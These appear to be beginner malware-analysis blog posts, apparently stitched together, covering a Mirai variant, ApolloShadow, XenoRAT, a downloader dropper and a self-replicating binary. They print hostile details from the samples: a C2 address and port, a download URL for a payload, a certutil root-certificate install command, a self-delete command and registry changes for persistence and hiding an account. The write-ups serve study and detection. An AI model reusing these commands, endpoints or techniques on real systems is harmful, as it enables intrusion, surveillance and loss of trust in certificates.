if current_time >= target_timestamp:
connect_to_c2(C2_SERVER)
send_heartbeat()
The specific timestamp checking indicates it may:
-
Wait for specific time windows to connect
-
Use time as part of its authentication mechanism
-
Coordinate attacks based on synchronized timing
Key Technical Insights
-
Anti-Analysis Features: The signal handling and stack size manipulation suggest anti-debugging capabilities
-
System Profiling: Extensive process enumeration indicates the malware profiles its environment before execution
-
Time-Based Execution: The temporal controls suggest coordinated botnet behavior
-
Desktop Targeting: Process targeting reveals adaptation for desktop Linux environments
Conclusion
This Mirai variant demonstrates sophisticated system reconnaissance capabilities, using process enumeration to understand its execution environment. The time-based controls and C2 communication patterns reveal a well-orchestrated botnet architecture designed for coordinated attacks.
For researchers: Focus your analysis on the forked child process (PID 5489) and monitor the time-based execution triggers to understand the full attack lifecycle.
IOC
0dad0cc96ea8239f5e5c15a7b1e01db862c1bb93bf01d551324309ea1b628e9b/
What is ApolloShadow?
ApolloShadow has the capability to install a trusted root certificate to trick devices into trusting malicious actor-controlled sites, enabling Secret Blizzard to maintain persistence on diplomatic devices, likely for intelligence collection. -Malpedia
Small Story
This malware is used in a campaign where Secret Blizzard has been targeting embassies located in Moscow using an adversary-in-the-middle (AiTM) position. Microsoft has written report about this malware in 2025-07-31. Which I didn't actually read because, I wanted to find out everything by myself and have some practice. The sample is provided in MalwareBazaar thanks to "smica83".
Static Analysis
This time, I want to write about analysis part-bypart, like this. Static Analysis of malware actually reveals a lot. It is a 64-bit C++ compiled executable with NX stack and ASLR is enabled by default. The sections of the executable are: .text, .rdata (and _RDATA) , .data, .pdata, .rsrc, .reloc The entropy of sections are under 7, which means executable is not packed, just checking out executable in ghidra also reveals it is not ecrypted but it uses some encryption for sure.
Strings
The questionable and uncommon strings I found were:
Location | String Value | String Representation | Data Type |
---|---|---|---|
140022948 | 0123456789abcdefghijklmnopqrstuvwxyz | "0123456789abcdefghijklmnopqrstuvwxyz" | ds |
140022998 | 0123456789abcdefghijklmnopqrstuvwxyz | "0123456789abcdefghijklmnopqrstuvwxyz" | ds |
14002a0d0 | September | u"September" | unicode |
14002a0e8 | October | u"October" | unicode |
14002a0f8 | November | u"November" | unicode |
14002a110 | December | u"December" | unicode |
14002a138 | MM/dd/yy | u"MM/dd/yy" | unicode |
14002a150 | dddd, MMMM dd, yyyy | u"dddd, MMMM dd, yyyy" | unicode |
14002a178 | HH:mm:ss | u"HH:mm:ss" | unicode |
14002cf78 | south-korea | u"south-korea" | unicode |
14002cf90 | trinidad & tobago | u"trinidad & tobago" | unicode |
14002cfb8 | united-kingdom | u"united-kingdom" | unicode |
14002cfd8 | united-states | u"united-states" | unicode |
14002e0c8 | de-DE | u"de-DE" | unicode |
14002e248 | sl-SI | u"sl-SI" | unicode |
14002e350 | hi-IN | u"hi-IN" | unicode |
14002e3e8 | bn-IN | u"bn-IN" | unicode |
1400316f0 | certutil.exe -f -Enterprise -addstore | u"certutil.exe -f -Enterprise -addstore " | unicode |
140031740 | root | u"root" | unicode |
140031780 | timestamp.digicert.com | u"timestamp.digicert.com" | unicode |
1400317b0 | /registered | u"/registered" | unicode |
1400317d8 | HTTP/1.0 | u"HTTP/1.0" | unicode |
140031e20 | ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz0123456789+/ | u"ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz0123456789+/" | unicode |
As you can see I didn't actually list every string possible, like keyboard and date related strings. But just looking at these strings we can see it utilizes cerutils.exe and does Internet related things. Also we can see it (probably) send request to timestamp.digicert.com, if you don't know what it is used for, a little research reveals: "DigiCert's timestamp service, accessible at http://timestamp.digicert.com, is primarily used to cryptographically timestamp digital signatures on software code, documents, or other files. This service ensures that the signature remains valid even after the original signing certificate expires or is revoked, providing long-term trust and integrity for signed materials"
So this (even though we don't have any proof yet) reveals, malware uses this technique to show some malicious executable legit.
Imports
Luckily for most of the functions (maybe all) executable doesn't use dynamic API resolution technique. So we can already get a lot about malware's purpose. Next I want to list some common APIs used in malwares.
Functions |
---|
HttpOpenRequestW |
InternetOpenW |
HttpSendRequestW |
InternetCloseHandle |
InternetConnectW |
CreateDirectoryW |
WriteFile |
GetTempPathW |
CreateFileW |
DeleteFileW |
CreateThread |
CreateProcessW |
RegEnumValueW |
RegOpenKeyW |
RegOpenKeyExW |
RegCreateKeyExW |
RegCloseKey |
GetProcAddress |
FreeLibrary |
LoadLibraryExW |
These are some functions that caught my eye, which commonly found in malwares. I don't think explaining every function purpose is important, as their name alone explains a lot. But if you don't know any of them check out microsoft documentation.
Junk Functions?
Even though it mostly looks like, malware is not obfuscated a single bit, there are some functions which make 0 sense and probably used for wasting researcher's time.
Even though these doesn't make sense in static decompilation (and disassembly of these functions are mostly broken), we might get something from these in dynamic analysis.
The things is, main part of the malware is as clear as it can be, so that is a little bit weird:
Dynamic Analysis
Dynamic execution shows some results of adding and sdjusting some registry keys and sending requests to http://timestamp.digicert.com, the request I caught for my sample of malware was: /request=DQAAAAAAAAAOAAAAAAAAABMAAAAIAAAABAAAAAIAAAAFAAAAAAAAAA8AAAAAAAAA&t=MTkyLjE2OC4xMjIuOTUgMFItMFQtMAAtMKMtMBAtMAQNCjEyNy4wLjAuMSANCi==
The t variable decodes to:
192.168.122.95 0R-0T-0�-0-0-0 127.0.0.1
I couldn't get much about that ip address, the only thing shodan gave me was:
Microsoft RPC Endpoint Mapper d95afe70-a6d5-4259-822e-2c84da1ddb0d version: v1.0 protocol: [MS-RSP]: Remote Shutdown Protocol provider: wininit.exe ncacn_ip_tcp: 192.168.122.95:49152 ncalrpc: WindowsShutdown ncacn_np: \\WIN-H1K3TN5SIJM\PIPE\InitShutdown ncalrpc: WMsgKRpc067700
Windows Registry Changes
Keys Added
Registry Key |
---|
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7 |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7 |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7 |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB |
Values Added
Registry Path | Value Name | Value Data |
---|---|---|
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7 | Name | "szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION" |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7 | Name | "szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION" |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7 | Name | "szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL" |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 | Blob | 03 00 00 00 ... |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB | Blob | 03 00 00 00 ... |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | LocalAccountTokenFilterPolicy | 0x00000001 |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList | UpdatusUser | 0x00000000 |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\VolatileNotifications | 41C64E6DA318D055 | 01 00 04 80 ... |
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies\System | LocalAccountTokenFilterPolicy | 0x00000001 |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 | Blob | 03 00 00 00 ... |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB | Blob | 03 00 00 00 ... |
User-Specific Values Added
Registry Path | Value Name | Value Data |
---|---|---|
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%systemroot%\system32\wsdapi.dll,-200 | "Trusted Devices" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @C:\Windows\System32\AppxPackaging.dll,-1001 | "Trusted Packaged App Installation Authorities" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\SessEnv.dll,-101 | "Remote Desktop" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-304 | "Endorsement Key Trusted Root Certification Authorities" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-305 | "Endorsement Key Intermediate Certification Authorities" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%systemroot%\system32\wsdapi.dll,-200 | "Trusted Devices" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @C:\Windows\System32\AppxPackaging.dll,-1001 | "Trusted Packaged App Installation Authorities" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\SessEnv.dll,-101 | "Remote Desktop" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-304 | "Endorsement Key Trusted Root Certification Authorities" |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-305 | "Endorsement Key Intermediate Certification Authorities" |
Issue
I just realized to move on with malware we actually need a response from C2 server, which will not be possible in my case and I couldn't find any network logs or anything related to this incident. So I had to check out microsoft's report about this case. The "junk code" we found earlier is actually used later on for malware to decrypt some strings as written in microsoft's report. So this was actually all I could do about this malware, to dive deep in, check out the microsoft's report.
What is XenoRAT?
XenoRAT is an open-source remote access trojan (RAT) written in C# that provides attackers with comprehensive control over compromised Windows systems. It features capabilities such as remote system management, keystroke logging, real-time audio surveillance via microphone access, webcam capture, file exfiltration, and execution of arbitrary commands.
Overview
This analysis will be mostly about static decompilation and analysis of malware. The sample I have is not obfuscated so it is clear what it does. I will give overall functionality of malware and end it there. Also I will check out if there are some uncommon techniques used in sample and list them too.
About Sample
This sample is Portable Executable 32 .NET Assembly, is not packed, ASLR and NX stack enabled, image also doesn't use SEH (Structed exception handler).
Functionality
First, malware checks if it is executes as admin, if yes, it adds "-admin" to end of mutex_string. Next it checks if Install_path is set to anything or set to "nothingset". (in my case it was set to "nothingset" so it didn't add current file to any path and execute from there). It creates a mutex with mutex_string ("Xeno_rat_nd8912f") ("-admin added if executed as admin).
Next, it tries to create a socket and connect to 77.51.224.225:4444.
Next, it awaits for answer from C2:
as it is obvious, there are 4 choices: 0. Creates additional subsocket and adds it to nodes
- Sends information such as:
Environment.ProcessorCount,
Environment.UserName,
Environment.MachineName,
Environment.OSVersion,
DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
WindowsIdentity.GetCurrent().Name,
Utils.GetWindowsVersion(),
Utils.GetAntivirus(),
Utils.IsAdmin().ToString()
The technique used for finding antivirus is:
Using SQL query to find AntivirusProduct.
- Kill process immediately
- Start new process of this executable and kill this process
- Clean and kill this process
removes registry key from: "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
if malware was executed as admin, it would be a little longer such as removing scheduled task from schtasks.exe etc. because if malware executed as admin it sets these at start of malware.
And finally, it uses cmd.exe /C choice /C Y /N /D Y /T 3 & Del "<executable_path>"
to remove executable from disk.
IOC
File is probably dropper, trying to install dangerous malware from spinistry.com.
The malware has actually a few more steps,, creating a new file to keep running from different directory. All files will be placed on the directory about analysis.
In our case fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894.exe is dropper.
I used Immunity Debugger for this analysis to learn working with it. Also I got screenshot of all instructions after binary is decompressed.
Explanation of instructions
0x401035: Handles are used to make sure only 1 process of malware is running, so nothing will go wrong. (If EAX is equal to -1 it will ExitProcess) 0x40104A: HeapCreate and tlAllocateHeap is mostly used for stealth and show the malware as legit software, but I don't really know the usage in this malware.
0x401080: Getting TempPath, such as: "C:\Windows\Users<username>\AppData\Local\Temp".
0x4010B2: Creates file named "rewok.exe" in Temp directory. (NOTE: rewok.exe is dropper's copy) In case of success program will continue, else LEAVE.
0x4011A5: I guess it opens Temp path.
0x4011F9 - 0x4012B2 - creates Http request:
- HTTP Headers
- Method:
GET
- URI:
/wp-share/7eve.exe
- Version:
HTTP/1.1
- Accept:
text/*, application/*
- User-Agent:
Updates downloader
- Host:
spinistry.com
- Cache-Control:
no-cache
- Transport Layer Protocol:
TCP
- Destination IP: ``
- Destination port:
443
- SSL encrypted:
Yes
- Network mode:
singlehost
- Method:
If it has success it will ReadFile. (In our case it didn't, because it is late.)
0x40132F: Also, after success File is renamed rewoked.exe.
I guess it was everything about that dropper malware, I will attach all other files i used in analysis.
NOTE: I am new to Malware Analysis so I try to practice a lot to learn, if I make mistakes I would appreciate the help.
As I was looking out for new malwares appearing online, i saw another PE32 executable malware and just decided to check it out, this malware was actually pretty simple. The purpose of the malware is use as much resource (RAM, CPU) as possible by copying itself and creating new process of itself. But honestly it was good malware to help me improve myself.
Simple demonstration of malware's capability:
By just looking at it, it is obvious what type of API calls are made: NtReadFile NtCreateFile NtWriteFile CreateProcessW
When uploading malware to DIE (detect it easy), it shows .text section is packed or compressed. Which is not really our problem because the dangerous part of malware starts at 0x00429EA6
. I wouldn't look at each assembly instruction starting from that address, but at 0x0042A34F
things get a little bit interesting.
This part writes full path name of malware to data and moves data address to eax, result will be something like that:
as you can see x32dbg shows what eax points to at the moment.
In this malware, internal functions within the VBA runtime environment have been called, which sadly didn't help me a lot, I couldn't get information about some functions like this one:
But one thing I know about this function is, it actually calls NtReadFile, which will copy our malicious binary into heap: (First 4 bytes are file's handle which was returned by NtOpenFile but I didn't specify it, as it didn't matter a lot)
As you can see in stack, data will be copied to
0x55C1B0
:
Later, the malware will create a full name for copying itself into that binary, which I didn't go deep into the creation process but that's how it looks:
C:\\Users\\eyes\\Desktop\\Malware\\Unicorn-17737.exe
The part we have to check right now is: 0x0042A5DB-0x0042A614
. Why? Because this is the part where data will be written into the "full path name" malware created:
We have a __vbaPutOwner3 function which will call NtWriteFile, it makes sense as __vbaGetOwner3 called NtReadFile.
File handle is 0x210
it was created when NtOpenFile was called (didn't specify it), Offset is 0x0
Size is 0x75005
(which is whole binary size) and 0x5DC1B0
is heap address where data resides.
Now one last thing is left, CreateProcessW
, The call starts from 0x0042A614
to rtcShell
which later Creates process.
The address is "string data" address of new created binary's full name:
And that's it, it will create new process and that process will create new one, it will continue forever.